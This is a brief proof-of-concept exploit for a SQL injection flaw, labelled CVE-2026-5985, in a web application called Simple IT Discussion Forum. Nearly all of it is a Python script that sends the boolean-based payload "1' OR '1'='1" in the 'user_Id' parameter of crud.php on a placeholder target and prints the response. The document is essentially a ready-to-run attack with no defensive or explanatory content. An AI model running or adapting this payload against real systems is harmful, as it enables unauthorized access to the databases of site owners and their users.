CVE-2026-5985 Simple IT Discussion Forum SQL注入漏洞

import requests # Target URL (Please replace with actual target) target_url = "http://target-host/crud.php" # The vulnerable parameter is 'user_Id' # Payload demonstrating a simple boolean-based SQL injection payload = { "user_Id": "1' OR '1'='1" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, data=payload) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")